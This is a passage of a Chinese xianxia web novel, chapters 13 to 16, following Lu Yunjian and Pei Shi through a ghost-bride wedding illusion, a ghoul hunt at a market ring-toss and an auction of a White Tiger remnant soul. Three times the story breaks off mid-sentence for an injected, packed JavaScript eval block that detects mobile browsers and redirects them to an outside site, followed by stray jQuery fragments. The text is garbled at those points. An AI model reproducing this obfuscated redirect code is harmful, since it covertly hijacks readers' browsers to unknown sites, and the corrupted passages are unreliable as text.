裴世先前说“有别的东西来了”,指的就是这个吞噬人魂的东西。魂魄被吞噬不同于自然情况下失魂,后者要是福大命大,找回魂魄,也许还有救;若是魂魄被妖魔鬼怪完全吞噬消化了,那便再也救不回来了。 陆云笺收了手,道:“是什么东西?” 裴世道:“非妖非鬼,亦妖亦鬼,气息混乱且淡薄,行踪诡谲,藏在暗处,法力也算强。”他总结道,“它虽破不了结界,却能在结界内设置幻境,引诱许媛媛踏出房门,再行夺魂。相较于附身鬼魂,要难办一些。” 听他如此评价,陆云笺心知不妙,道:“那我们……” 裴世却道:“失魂一案,交与季衡季瑶贺江年等人,不必插手。”他说着又用通讯符通知了贺江年,陆云笺只好道:“附近姓许的年轻女子都没了,那鬼魂下一步会去哪里?” 13. 枉情深(2) 裴世道:“它附身,不为复仇,是为代替许媛媛。” 代替她做什么?成亲。 恐怕它还不知道那位公子已经为它殉情了,否则不一定会如此执着地要代替许媛媛嫁给他。或许它把许姓的年轻女子附身了个遍,也正是因为它不认得许媛媛,不知道是谁要嫁给那位公子,因此一个一个试探。 如今它再不能以活人之身与他成亲,便不得不退而求其次,以亡者之身与他成亲。 二人等贺江年到了,长话短说,说明了情况。贺江年听得头疼,陆云笺倍感同情地拍拍他的肩膀:“加油。” 贺江年身心俱疲,摆手道:“这已经是不知道第多少个失魂的了。不知道是个什么东西,特别喜欢设幻境幻象吓人,搞得人魂魄不稳,然后趁机把人魂魄吞了。” 想来许媛媛也是看到了什么东西,吓得从房间里跑出来,破了结界,让夺魂的东西乘虚而入,而那鬼魂又趁机无缝衔接,附了她的身。 贺江年叹了口气,道:“这里交给我吧,我熟。到时候你们抓住那鬼魂了,记得把它大卸八块。” 一旁的茵茵抹着眼泪,拉住陆云笺的袖子,也道:“仙君姐姐,一定、一定要抓住害我姐姐的鬼。”想到许媛媛与那鬼魂的渊源,陆云笺不知该作何感想,只好揉了揉茵茵的头,勉强笑道:“好。” 这一回走几个时辰到了镇上,那处院子仍是冷冷清清、阴阴森森,却又似乎有什么地方不一样了。推门进去,院子里也仍然没有任何变化。 二人径直绕到那位公子的住处,陆云笺抬手推门,却怎么也推不开,她没敢出声,看裴世一眼,裴世道:“它来过,但眼下不在此处。”说着抬手用灵力强行将房门轰开。 房门大敞,屋内景象,却是与上回来时截然不同。此时分明申时未过,屋内却昏暗得几乎看不清房间摆设,只能看清门上挂着的红绸,静静垂下,并无喜庆之感,反倒无端凄冷诡异。 裴世先一步迈进去,仍是没点灯。 二人在房内边转边看边摸索,转到床前,陆云笺忽觉脚下踢到了一样东西,她俯身去看,疑道:“蜡烛?” 一根全新的、没有点燃的蜡烛。而且不止一根,几十根蜡烛,形成一个圈,围住了床榻。 陆云笺连忙扯住一旁裴世的衣袖:“这是什么仪式吗?” 裴世细细打量那圈蜡烛片刻,道:“或许它想造一个婚房。” 陆云笺扫了眼门上挂的红绸,道:“怎么造婚房?肯定不能大张旗鼓地布置吧。” 裴世道:“借用蜡烛,造一个幻境。”又示意陆云笺去看床侧。 床榻所在的一块地方不知为何格外昏暗,甚至比夜晚更黑,陆云笺一时不能完全看清,于是越过那些蜡烛,走到床侧去看。 几个纸扎的金童玉女,脸上端着诡异阴森的笑容,立在床侧的黑暗之中。 猛然凑上前去一看,陆云笺吓得脚一滑,往后倒退几步,手在床沿上撑了一下才没摔倒,又忽然发觉自己似乎按到了什么东西,下意识撤了手,回头一看,一个黑影端坐在床边,隐在床帏之后。 先前床榻附近的景象都隐在暗处看不清,现在一连看到好几个这么诡异的东西,陆云笺险些喊出声来,连连后退,直冒冷汗。 裴世道:“假的而已,陆小姐怎么吓成这样?”说着上前,一把掀开了床帏。 床边坐着的也是一个纸人,与床侧那些粗制滥造的金童玉女不同,这个纸人更为精细逼真,俨然是个穿着婚服的年轻男子。不过它此时的样子不大好看,因为刚才陆云笺那一撑,直接把它半个身子都压扁了。 “……”陆云笺沉默许久,转头道,“完了,我把新郎按扁了。” 裴世轻笑道:“既如此,你便去扮作新郎,与那鬼魂成亲吧。” 陆云笺:“??” 裴世没有等她回应,径自走到角落的一根蜡烛前,观察一阵,道:“这圈蜡烛,倒是方便我设阵。” 陆云笺虚心求教:“什么阵?怎么设?” 裴世道:“以这根蜡烛为阵眼,这圈蜡烛为基,设三道屏障。第一道,在大门外。第二道,在房门口。第三道,在床边。它每过一道屏障,阵法便会生效,封住它的去路。” “高,实在是高啊。”陆云笺由衷赞叹,“这回它肯定跑不了了。”她动作、神态、语气都极尽夸张,裴世并不相信,只朝床边那位被压扁的“新郎”一挑眉:“陆小姐还是好好想想,该怎么扮好新郎吧。” 陆云笺虽然实在不想去扮新郎,但自知理亏,只好小心翼翼将那纸人新郎移开,放在角落。她在床边坐了一阵,只觉屋内四处都是阴森森的,实在忍不住,又起身走到房门口去看裴世画阵法。 裴世刚画完大门外的阵,房门口的阵法才刚刚起笔,见陆云笺过来,并不说话,只是嘴角微微一弯。 陆云笺道:“呃,裴世,是这样的,我看屋子里好像没有婚服啊,我就这么坐在那儿的话,它会不会发现什么?” 裴世道:“不会。” 陆云笺道:“还有,就是,这个新郎吧,他是男的啊,这身形肯定不一样的嘛,也没问题吗?” 裴世道:“没问题。” 陆云笺道:“那这个新郎毕竟是个纸人嘛,我是个活人……” 裴世画完一半,微微起身,微笑道:“无事,你把床帏拉上,它看不出来。” 不知为何,陆云笺觉得他这笑容相当不怀好意。不过无法,她只能妥协道:“好吧。那我待会儿再坐到床边行不行?” 裴世抬头看天,见天色渐暗,道:“行。” 陆云笺为了不独自面对阴森森的各种纸人,只好一直旁观裴世画阵法,裴世画到哪儿,她就走到哪儿。如此并非为了学习阵法中的奥秘,单纯是闲得慌和瘆得慌。 裴世一笔一划画得缓慢而细致,越到后面动作越缓,直到天黑才画完最后一笔。 陆云笺见他画完,叹了口气,道:“裴公子,我的小命就交给你了。”说着一脸大义凛然,抬脚就要迈进那个蜡烛圈子。 裴世却抬手阻住她,道:“这么麻烦的话,还是别进去了。” 陆云笺恹恹地:“我都已经把那个扁新郎移开了,能不进去吗。” 裴世闻言放下手,笑道:“好吧。不过这个新郎并不十分重要,我只是看陆小姐似乎太过清闲,便找了个游戏给你玩一玩。” 陆云笺:“??” 不过下一刻,裴世也笑不出来了。 蜡烛火光倏然亮起,床榻两侧的纸扎金童玉女忽然动了起来,一边发出嘻嘻的笑声,一边念道:“两姓联姻,一堂缔约,良缘永结,匹配同称。” 而它们动起来之后做的第一件事,就是一把把裴世推进了蜡烛围成的圈中。 裴世进了圈子之后就不见了,陆云笺心下大慌,唤道:“裴世!” 无人应答。 然而下一刻,一排金童玉女从暗处走出,仿佛没看见她一般,从她身旁走过却并不让路,直接将她也撞进了蜡烛圈中。那金童玉女虽是纸扎的,力气却不小,直将陆云笺撞得扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047600|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上。 一进圈中,陆云笺就闻到一股浓郁的奇异香味,令人头晕目眩。抬头一看,轻纱幔帐,红烛摇曳,端的一派缱绻旖旎。床边坐着一人,身着婚服,面容温润清秀。 陆云笺瞬间清醒了,连滚带爬连连后退:“谁?!” 那人抬眼望向她:“什么?” 凭着这几分令人生寒的戾气,陆云笺犹豫片刻,试探道:“裴世?” 那人不说话,面上似乎带上了一丝疑惑,陆云笺道:“你怎么成这样了?” 裴世面色不悦,道:“哪样?” 陆云笺道:“你你你,你现在就是那个纸人新郎的样子啊!” 裴世周身戾气更重了。 原来那鬼魂借烛火与熏香制造了一方幻境,这幻境,就是它造的婚房。而裴世代替了纸扎新郎的位置,因此在幻境中,在旁人看来,他就是新郎的模样。 见裴世握紧了拳头,陆云笺忙道:“裴公子,冷静,冷静,你先别把那些金童玉女打死,等那鬼魂来了再动手吧。” 裴世虽怒,但也知道小不忍则乱大谋,只好道:“你进来做什么?” 陆云笺道:“不是我想进来啊!那些金童玉女直接给我撞进来的!” 如今二人都在幻境里,想出去并不那么容易,又怕用法术会惊动那鬼魂,裴世道:“找角落躲起来,不要让它看到你。” 陆云笺连声道“好”,正要藏到一边,忽闻门外传来女子的笑声,在幽幽黑夜中回荡,十分瘆人。 这笑声逐渐逼近,裴世微微蹙眉。她既到了房门外,就是已经穿过了第一道屏障,但他设下的阵法却毫无反应。 陆云笺顿感不妙,忽然想起一事,压低声音道:“裴世,我刚刚摔进来,好像不小心把角落里的一根蜡烛踢倒了,我去把它扶起来,还来得及吗?” 好巧不巧,她踢倒的那根蜡烛,恰好就是这个法阵的阵眼! 裴世尚未回答,那鬼魂已踏入幻境,一身大红嫁衣,身姿袅袅,眉眼盈盈。分明生得温婉亲切,笑起来却无端诡异阴森。 她笑道:“裴哥哥,我找了好久的嫁衣,才找到这身与你的婚服最为相配的,你喜欢吗?” 闻言,陆裴二人均是一阵恶寒。 先前看那些书信,其中虽也有这个称呼,但终究只是巧合,二人也并不真的放在心上。如今阴差阳错之下,那鬼魂喊裴世“裴哥哥”,当真叫人浑身起鸡皮疙瘩。 她向前走了几步,忽然看到正努力移向幻境边缘的蜡烛圈的陆云笺,眸中闪过一丝厉色,猛地低身掐住了她的脖颈:“怎么还有一个?” 她面上带上了几分悲戚,道:“裴哥哥,你真的想娶她吗?我本来也想代替她嫁给你的,那样我们就可以一辈子在一起了。可是她们都死了,没用了。而且,我才知道,原来裴哥哥也愿意去地下陪我……我很开心,既如此,我们就这样成亲,就这样一生一世一双人好了。” 她说着,指尖微微用力,将陆云笺提离了地面:“但是怎么还有一个?”她大约是以为陆云笺也是哪个姓许的女子了。 陆云笺暗暗感激幻境中烛光昏暗,香气惑人,竟让那鬼魂没认出她来。 裴世眸色极冷,掌中聚起金色光芒,却在此时,陆云笺扯住他衣摆,艰难地微微摇了摇头。此时出手,若让那鬼魂再侥幸逃脱,再要抓它,可就更难了。 那鬼魂也在此时改变了主意,放开了陆云笺,叹道:“好吧。既然你也喜欢裴哥哥的话,那就留下来,在旁边看着我们拜堂成亲入洞房吧。” 14. 诛鬼魈 陆云笺倒在地上猛喘几口气,心道:还好她说的不是“那就杀了你给我们助兴吧”。 那鬼魂又转向裴世,手指一寸一寸滑过他的衣襟,指尖蔻丹平添几分艳色,却也令人联想到那指甲暴长杀人时的残酷狠厉。她笑道:“裴哥哥,要不我们先拜堂吧?” 正在此时,陆云笺终于够到了那根被踢倒的蜡烛,猛地将它扶起,喝道:“裴世!” 裴世掌中金光凝聚已久,猛地一掌击出,速度奇快,掌风凌厉,极为强悍,那鬼魂甚至来不及反应,更不消说逃脱,烛光微闪,魂飞魄散! 裴世还欲再击,却在此时,陆明周的通讯传来:“附身鬼魂疑似与失魂一案有关,务必押送回云间世审问。” 陆云笺:“……” 裴世:“……” 陆云笺沉默一瞬,忙道:“裴公子!冷静,冷静,够了,够了。”说着用从贺江年那儿淘来的小匣子将那鬼魂的残魂收起来,心道:碎成这样,估计是没用了。 一切重归寂静,围着床榻的烛火熄灭了,纸人也已灰飞烟灭,夜间微风阵阵,四周一片黑暗,唯有缕缕月光打在书案上,又平添几分清冷。 陆云笺爬起来,坐在书案旁的椅子上休息片刻,只觉腰酸背痛,脖颈也隐隐发痛,差不多好了的手腕也又开始疼了,身上的药却都用给了许媛媛。 她叹了口气,看着窗外月色,微微出神。不知坐了多久,回过神时,坐在床边的裴世已经不见了,她赶忙起身,却见他倚在房门口,也正抬头看着月色。 他面色仍是不善,见陆云笺走来,不发一言,只抛给她一样东西。陆云笺接住一看,是只青瓷小药瓶,当下感动不已,再抬头,他却已经头也不回地走到前面去了。 二人赶回云间世已是亥时,虽说并不算太晚,但陆云笺身心俱疲,匆匆吃了晚饭,回房倒头就睡。这一睡睡到午时才醒,随便收拾收拾,便赶往中孚殿向陆明周汇报情况。 一进偏殿,便见陆明周扶着额在案边唉声叹气,陆云笺试探着蹭过去,道:“哥?” 陆明周似乎才发现她来了,一抬头,陆云笺这才发现他眼下挂着两个堪称骇人的黑眼圈。 陆云笺想起昨晚偏殿这边的灯一直亮着,看这样子,想必又是熬了个通宵。这天下第一大门派的管理员,还真不是那么好当的。 陆明周轻揉眉心,道:“辛苦了。怎么没和裴世一起?” 陆云笺道:“因为我睡得早起得晚,肯定跟裴公子不是一个作息。”说着便从袖中拿出小匣子递给陆明周,陆明周打开看了一眼,沉默半晌,才道:“怎么碎成这样?” 正是那被裴世一掌打得魂飞魄散的鬼魂。 陆云笺搔搔脸颊,道:“裴世打的。打完了才接到你的消息。” 陆明周将那小匣子封住、收好,道:“裴世为何下手如此之重?” 陆云笺想起那女鬼指尖滑过裴世衣襟的场面,一个哆嗦,老实道:“因为那女鬼调戏他啊。” 陆明周一时无言,不再多问,放下笔,脸上挂上笑容,但陆云笺无端觉得那笑容十分不怀好意,正警惕着,便听陆明周缓缓说道:“不过,听起来似乎还算顺利,也很成功。我这里有个新的委托……” 陆云笺连忙后退几步,边退边摆手:“哥你不能这样,我们不用休整休整的吗?” 陆明周似乎思索了一会儿,道:“也是,你现在,的确有诸多不便。你想休沐几日?” 陆云笺一听到放假就两眼冒光,道:“五天!五天行不行?” 陆明周微微蹙眉,似在犹豫,陆云笺丧了气,不情不愿妥协道:“三天,三天也行。” 陆明周笑道:“那便如此定了。”他说着又话锋一转,化身慈祥老兄长,“虽是休沐,但你闲暇时也不妨练练符咒画法,看看……” 陆云笺连应“好”都不想,拔腿一溜烟儿跑了。 好容易得了三日闲暇,自然是要去山下转转的。 陆云笺之前下山不是为了买药材就是为了出任务,从没好好在外面逛过,不免总是挂念这一节。不过她不熟悉这个世界的环境,也不敢走远,因此就在山下不远处的集市里转。 此时早市早已散了,夜市还未开始,集市里摊贩稀稀拉拉,并不热闹。 陆云笺在小食摊子上买了盒糕点,边吃边逛,见一旁支了个套圈的摊子,有几人围着观看,便也凑了过去。 一人十个圈中了九个,众人连声赞叹,摊主却仍然一副冷静而闲然自得的样子,不说话,只拿了套中的奖品给那人;又一人十圈一个都没中,众人都连声惋惜,那摊主面色也不变,仿佛全然不在意套圈的结果似的。 这套圈也算是陆云笺拿手的游戏,她看了一阵,手便痒了起来,举手道:“我来我来,我也买十个圈。” 那摊主看见她,似乎犹疑了一阵,但还是把圈给她了。 陆云笺看中了角落摆的那个泥塑小人,虽然长得歪瓜裂枣、东倒西歪,但她觉得这东西莫名一股喜感,十分好笑。然而一连飞了六个圈出去,都只偏离了一点点,陆云笺心中奇怪:怎么总感觉圈子一过去,那东西好像就跑? 旁人道:“小姑娘,不要总是只丢那一个呀!拣近的丢!” “是呀,那东西长得那么丑,非要它干啥?” 陆云笺却铁了心要那个丑丑的泥塑小人,心想大不了十个圈没了再来十个,还就不信了。再说了,要是摊主真要做什么手脚,不让哪个奖品被套中,也不该非挑这个没什么人要的丑泥塑小人。 这么想着,便又瞄准扔了三个圈,还是没中,每次都偏离那么一点点。陆云笺本来也没那么想要那个小人,只是屡次套不中,心中反而斗志更盛,非套中不可。 她在套圈上鲜有如此失手的时候,心中不服气,正要甩出最后一个圈,一旁却忽然走来一人,把她手中圈子夺走了。 陆云笺抬头望去,见一名戴着纱笠的黑衣男子立于一侧,身形高挑,衣服上简简单单,什么配饰都没有,无端一股不近人情之感。 他像是随意把那圈子掷了出去,也不知用了什么法子,竟然一套就套中了。 那摊主似乎这才有些慌了,道:“这怎么算数?这位姑娘买的圈子,只能这位姑娘套!” 那黑衣男子道:“我与这位是一路,怎么不算数了?” 他似乎有些刻意压低了声音,但陆云笺仍然觉得这声音似乎有些熟悉,好像前不久才听过。不过陆云笺眼下想的是,圈子是她买的,套却是他套中的,这奖品待会儿该给谁? “自然不算数!做人要讲规矩,你要套你自己买圈子套去。”摊主挥手道,“来来来,下一个谁来?” 那男子冷笑道:“要讲规矩是么?我来。”说着也买了十个圈子,一连扔了三个,每一个都中了;又像是挑衅一般,把剩下七个圈子一齐扔了出去,整整齐齐套在了那泥塑小人上,像是一堵墙,将它团团围住。 众人都惊叹道:“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047601|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高手哇!” “有这手法还不多套几个,都套那丑东西干啥?” 黑衣男子抬首,望向摊主,道:“套中了。摊主为何还不将奖品取出来?”见那摊主迟迟不动,他轻笑一声,弯腰去拿那泥塑小人,“既如此,那便我自己动手了。” 他拾起那泥塑小人,腰还没完全直起,那泥塑小人却忽然尖啸一声,猛地扑向他面门! 电光火石之间,众人甚至来不及反应,那黑衣男子却似乎早有预料一般,一手擒住了那东西。不过那东西身形极快,携着疾风,那男子戴着的纱笠还是掉了。 陆云笺终于看清了那人面貌。眉目柔和,分明是教人感到亲切的好相貌,却偏偏眼神冷淡、眸光犀利,嘴角还时时噙着讥讽的冷笑。 陆云笺惊道:“裴世?!” 裴世颇为好笑地看着她:“陆小姐眼光真是毒辣,一眼就看中了这么独一个的妖邪之物。” 陆云笺不好意思地笑了几声,那东西在裴世手中十分不安分,张大了嘴就要往他手上死咬下去。 裴世一掌击出,直直击向那摊主,那摊主早也不是个人了,变成个逾丈高的庞然大怪物,四处乱窜。裴世那一掌击起的碎石尽数打在它身上,却仿佛对它毫无妨碍似的,它仍是毫不停顿地向前方逃去。 裴世抓着那小怪物的手一用力,直接把那东西捏了个爆浆,霎时血花飞溅! 陆云笺原以为那是个虚无缥缈的鬼魂之类,谁知是个实心的,这一爆之下,又惊又吓,连话都说不出了,腿也不听使唤地哆嗦,更不消说迈开步子走了。 那东西的血虽然一滴也没沾上裴世的衣服,但他的手却是实实在在的一手血,他神情淡然,取了帕子擦净手,拾起掉在地上的纱笠拍了拍,也没戴上,就要往那东西逃窜的方向追去。 他走了几步,又忽然回过身来,对陆云笺道:“陆小姐一起去看看么?” 围观的那群人早吓得四下逃散了,陆云笺还木在原地,闻言转身看他,强定心神,道:“我去看什么?” 裴世道:“那东西逃到那家商行里去了,听说今日那商行里有件好东西要卖,陆小姐不妨也去看看?”他等了片刻,见陆云笺不说话,也不多停留,转身便走。 陆云笺又木了一阵,心道他应该不会把我也捏爆浆,于是几步跟上去,道:“那东西犯了什么事?” 裴世垂眸,似乎思索了一阵,而后道:“看它们不顺眼罢了。” 陆云笺直觉绝不是这么个随随便便的原因,但见他不说,也不好多问,又道:“裴公子套圈真是高手,不过你一开始戴着纱笠,我还没认出来呢。” 裴世道:“我先前追过那东西几回,再叫它们看见,又要跑了。” “那东西是什么?” 裴世却没有立刻回答,沉默一阵,忽然望向她:“鬼魈。” 陆云笺蹙着眉,心想这东西的名字听起来有些耳熟,思索一阵,忽然想起裴世之前就提到过这个东西。 那时他说:“和鬼魈穿心断骨相比,这点伤算什么?” 她忽然一阵没来由的心悸,猛地转头,恰好对上裴世的目光。 陆云笺尽力平定心神,又干笑几声,试图把那阵心慌盖过去:“看起来真是很吓人。” 裴世却弯了弯嘴角,转过头,没再说话。 二人默然走了一阵,到了那商行门口,裴世把手中纱笠盖在陆云笺头上,道:“陆小姐在此处,还是不要随便露面了。” 15. 白虎灵 陆云笺一怔:“那你……” 裴世道:“我无事。”说完便踏进门去。 陆云笺也听说过这商行的来历,这商行隶属于天下第一大商行同渊阁,端得一派恢宏大气。 陆云笺跟着裴世穿过一行行一列列琳琅珠玉、书卷灵石,裴世在前面走得快,她也无暇仔细去看。以这么个速度七弯八绕地走了好一阵,终于听到了隐隐约约的人声,再一转,豁然开朗。 站在会场入口的女郎朝二人微微点头一笑,摆出个“请”的手势。 陆云笺悄声道:“她认识你?” 裴世道:“不。这商行随意得很,来者是客,无需邀请,想来便来,想走便走。” 这会场富丽华贵、辉煌大气,虽多了些人间烟火气,却堪堪能与云间世山顶中孚大殿相比。会场中设了许多张独立小案,盘里盛的是珍馐美馔,杯中装的是玉液琼浆,说是商行,倒是贬低了这样的气派。 裴世挑了张角落的小案,陆云笺落了座,环顾一阵,道:“想来就来,那就是来蹭顿饭也行啊。” “一般人不会来。若是蹭顿饭把命蹭进去了,那可不划算。”裴世道,“若是来了些乱七八糟的人,自然也是要请出去的。” 陆云笺打量四周一阵,虽然许多人都穿斗篷、戴纱笠,却不难看出个个都是非富即贵。又听裴世道:“不过云间世的人,没有人会拦。” 陆云笺道:“这又是为什么?云间世是修真门派,和商行的关系也没有这么特殊吧。” 裴世道:“怎么会?这天下第一大商行和天下第一大门派可是一条船上的。”不知为何,陆云笺觉得他说这话的语气略有怪异,但也不便多问。 等了一阵,见时不时有人进出,陆云笺随口问道:“什么时候开始?” 裴世悠悠喝着茶,道:“人满就开始。” 陆云笺看了眼四周及楼上坐得满满当当的桌案,心道:当真随意。 不过二人来得不算早,没等多久,会场中央升起一座华丽高台,一妙龄女郎立于其上,款款一礼,会场立时安静下来。 二人并不真是来买东西的,陆云笺也不知道裴世坐在席上悠悠品茶是个什么意思,只看着场上一样又一样珍宝呈上,倒是体会了一把豪门大户拍卖会竞价。 不知过了多久,也不知展出了多少件宝物,陆云笺正觉有些疲乏,那女郎却捧出了一方匣子,每一面都刻了阵法,其上更是密密麻麻贴满了符咒。 那女郎缓缓将匣子打开,道:“此乃四方神兽之一白虎残魂,虽……”话还未说完,二楼某处便悠悠飘下来一张签,这签上施了法术,是出价的标志。 女郎接过一看,道:“白虎残魂,五百万金!” 陆云笺虽并不大了解这个世界的物价,但也知道一个人一顿正常饭菜一银也花不了,五百万金也差不多是前面那些宝物接近封顶的价格,不知何人出手如此阔绰,不禁十分惊异。 裴世原本正优哉游哉地转着手中茶杯,闻言也停下了动作,抬眸望向那高台。 在座众人皆是震惊万分。虽说这白虎神兽威力无穷,但毕竟只是些许残魂罢了,何以一出手就开出这么高的价格? 抬头往那签飘下来的位置望去,只见一名年轻男子坐在桌案边,由于他穿着白斗篷,遮得严严实实,众人看不清他的面貌,只知他气度不凡,的确像是高门贵胄。 场上沉默一阵,众人似乎都在犹疑不定,忽地又飘来一张签,女郎接过一看,高声道:“五百五十万金!” 却是裴世甩手出的签。他又悠悠喝起了茶,陆云笺无比震惊,心道:原来这人这么有钱,深藏不露啊。 场上又是一阵骚乱,不知是谁出了个六百五十万金,立刻就被盖过去了,因为楼上那位,出了八百万金。 裴世看也不看,又甩了一张签出去,这次甩的是一千万金。 会场倒是变成了这两人的主场,一轮一轮竞价,竞得众人倒抽冷气,转眼便到了三千五百万金。 看着裴世淡然地甩出这么一张签后,陆云笺终于忍不住道:“不是,裴世,这可是三千五百万金啊,你真有这么多钱?”虽然不大礼貌,但实在合情合理。三千五百万金可是绝大多数商户一辈子都攒不来的,放眼天下,几个人出得起这个价?这可不是小儿甩签子玩儿,是要付钱的。 楼上那位也沉默了,好一会儿也没动作。 裴世却不急,给自己续了杯茶,道:“无妨,不管什么价,他都一定会买。” 陆云笺道:“你怎么知道他一定……”尚未说完,楼上果然又飘下一张签,轻轻落在那装着白虎残魂的匣子上。 五千万金。这已是最初价格的十倍了。 裴世放下茶盏,轻飘飘扫了那人一眼,又收回目光,没再甩签子。 抽冷气的众人都凝固了。于是,白虎残魂以商行有史以来竞出的最高价格——五千万金售出。 白虎残魂是展出的最后一样宝物,眼看要收场了,陆云笺不免心焦,道:“鬼魈呢?” 裴世道:“那东西附在一样宝物上,不好出手,先等一等。” 商行展出的宝物都会在竞买结束后于会场后专门的交易所进行交付,二人出了会场,在会场外的大厅中等了一阵,没等来鬼魈,倒先看到了那位与裴世竞价的贵公子。 裴世微微一笑,朝他微一点头,礼貌中不知怎地带上了几分挑衅。 那人微微一顿,打量他与陆云笺几眼,不知点没点头,也不知是个什么表情,低着头匆匆离开了。 陆云笺不明所以:“你们认识?你和他有仇?” 裴世道:“怎么不认识,老熟人了。”似乎料到陆云笺想问什么,他又道,“你也熟。” “我?”陆云笺又朝那人离开的方向看了一阵,只觉他的身影似乎的确有些熟悉,但认不出来,“是谁?” 裴世却又不说话了,陆云笺问他好几遍,他都只是诡异地微笑,并不说话。 又等了一阵,终于看到一名膀大腰圆的富商带着两名仆从出来,一名仆从手上捧着一方锦盒,陆云笺记得,这锦盒里装的是块美玉,颇为夺目。 裴世抬手稍稍挡住那富商去路,客客气气行了一礼,道:“阁下拍下的这块美玉似有妖魔邪气,还是检查一番为好啊。” 那富商自然是检查完了出来的,想喷回去,又想起裴世也是个出手不凡的,看样子也确实像个仙门高人,因此到嘴边的粗言粗语又咽了下去,没说话。 裴世扫了眼那锦盒,淡声道:“不信你看。” 言罢,那锦盒忽然剧烈地抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047602|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动起来,富商身后的那名仆从一时没拿稳,那锦盒摔在地上敞开,一团血雾混杂着金光爆开,再去看,锦盒中哪还有什么美玉,只有一团模糊血肉,还在汩汩往外冒着血。 众人吓得尖叫散开,陆云笺眼睁睁看着那团血淋淋的东西爆开,一阵反胃,几欲作呕。 裴世眼中的冷意还未散去,道:“害人的东西,还是不要拿回去了。”说着又仿佛贴心地把陆云笺头上的纱笠往下压了压,陆云笺却觉得背脊蹿上一股冷意,说不出话来。 就算是妖魔鬼怪,裴世这样的手法,不可不谓狠辣。 陆云笺手麻脚麻头皮发麻地跟着裴世在商行里又转了一阵,裴世挑了一大堆各样灵石宝器剑谱秘籍,陆云笺却没什么心思去看那些东西,直到裴世逛完挑完去结算,仍是魂不守舍。 裴世微微侧头,道:“陆小姐在怕什么?” 陆云笺没听进去,猛地抬头:“啊?” 裴世又把头转回去,良久才似乎漫不经心地道:“不是有戮心蛊?”他抬起指尖敲了两下桌面,不知是有意还是无心,手腕稍稍露出,那道黑色枷锁一般的印记,的确没有半分异样。 陆云笺摸不准他什么意思,没说话。 裴世似乎也并没有特意等她说话,只看着掌柜清点那堆乱七八糟的东西,末了付了钱,拎着东西便迈出了门。 二人一路无话。到了云间世山门口,裴世忽然停下脚步唤她:“陆小姐。” 陆云笺还有些没反应过来:“啊?” 裴世道:“陆明周……可有教过你用剑吗?” 陆云笺不懂他为什么忽然问这个,回道:“我哥说阵法剑法都比较难学,我又没有基本功,一时半会儿应该学不出个什么,所以我哥让我先把符咒画法都记住了再说。” 裴世道:“这不简单么?恢复记忆,就都迎刃而解了。” 陆云笺一愣。她这才发现,父亲和兄长似乎的确没有做出什么让她恢复记忆的尝试,从她醒来到现在,他们二人最放在心上的,似乎总是让她接近裴世。 为什么? 陆云笺直觉裴世如此发问,一定是知道些什么,一把抓住他,道:“为什么?” 裴世任由她抓着,淡声道:“我不知道啊。陆小姐自己竟也看不清吗?” 就因着这么几句,陆云笺接下来好几天都觉得心里有东西堵着。虽然陆明周看她精神不济,给她多放了几天假,但她心里堵得不舒服,睡觉也总是睡不大安稳。 是因为他们发现自己并不是原先的陆云笺了吗? 如果是这样,那还有什么理由让她占据着这副身体呢?难不成,他们需要自己作为媒介或者代价,让原先的陆云笺回来?既然原先的陆云笺是重伤闭关,那自己的魂魄又是怎么进到这具身体里的?原先的陆云笺的魂魄又去哪儿了? 这些东西她从一开始就想过,但想不明白,因此只能放在一边晾着。如今又拿出来想,却是越想越糊涂,越想越心慌。 倘若父兄早就知道……为什么要留着她? 正思绪纷乱,忽然传来一阵叩门之声。 陆云笺一个翻身从床上起来,道“谁?” 门外人并没有应答。 她下床穿了鞋开门,却在看清来人后微微一怔:“爹?” 16. 殊同归 陆稷虽然也已经结束了闭关,但仍然身体抱恙,绝大多数时间都闭门不出,门派事务一律交与陆明周,以前陆云笺想见都见不着,今天怎么突然来了? 陆云笺先是下意识的惊喜,之后又是没来由的心虚,怔了片刻,才手忙脚乱地搬椅子请父亲坐。陆稷微一点头,坐下半晌,陆云笺还傻站在一边看着他。 陆稷道:“坐。” 陆云笺又手忙脚乱地坐下了,小心翼翼试探道:“爹,您来是有什么事吗?” 陆稷打量了几眼屋内布置,道:“你此番与裴世一同出任务,可还适应?” 陆云笺道:“啊,还好。就是……”她有些踌躇,“就是我不会什么阵法,也不会用剑,符咒也画不熟练,感觉有点拖人家后腿。” 陆稷微一蹙眉,却分毫未提关于她失忆之事,只是一语带过:“此事无妨。” 陆云笺微微一愣,陆稷并没有继续这个话题,只拿出一只锦盒放在桌上,那锦盒上的花纹繁复华丽,一看就价值不菲,陆云笺不敢贸然去碰,只道:“这是?” 